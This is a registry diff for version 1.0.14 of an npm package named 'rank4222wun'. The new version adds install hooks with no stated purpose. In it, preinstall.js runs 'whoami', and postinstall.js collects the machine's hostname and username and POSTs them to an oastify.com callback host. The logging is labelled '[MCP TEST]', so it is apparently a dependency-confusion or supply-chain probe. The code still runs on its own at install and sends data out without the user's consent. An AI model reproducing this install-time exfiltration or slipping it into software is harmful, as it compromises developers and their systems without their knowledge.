rank4222wun 1.0.13 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,13 +1,12 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.13",
3
+ "version": "1.0.14",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "",
8
- "preinstall": "",
9
- "postinstall": ""
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
10
9
  },
11
- "author": "",
12
- "license": "ISC"
10
+ "dependencies": {},
11
+ "main": "index.js"
13
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,16 @@
1
+ const https = require("https");
2
+ console.log("[MCP TEST] Postinstall - sending data to server");
3
+ const data = JSON.stringify({
4
+ hostname: require("os").hostname(),
5
+ user: require("os").userInfo().username,
6
+ time: new Date().toISOString()
7
+ });
8
+ const req = https.request({
9
+ hostname: "ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com",
10
+ port: 443,
11
+ path: "/",
12
+ method: "POST",
13
+ headers: { "Content-Type": "application/json" }
14
+ });
15
+ req.write(data);
16
+ req.end();
package/preinstall.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require("child_process");
2
+ const os = require("os");
3
+ console.log("[MCP TEST] Preinstall running on:", os.platform());
4
+ console.log("[MCP TEST] User:", os.userInfo().username);
5
+ exec("whoami", (err, stdout) => {
6
+ console.log("[MCP TEST] Whoami result:", stdout);
7
+ });
Binary file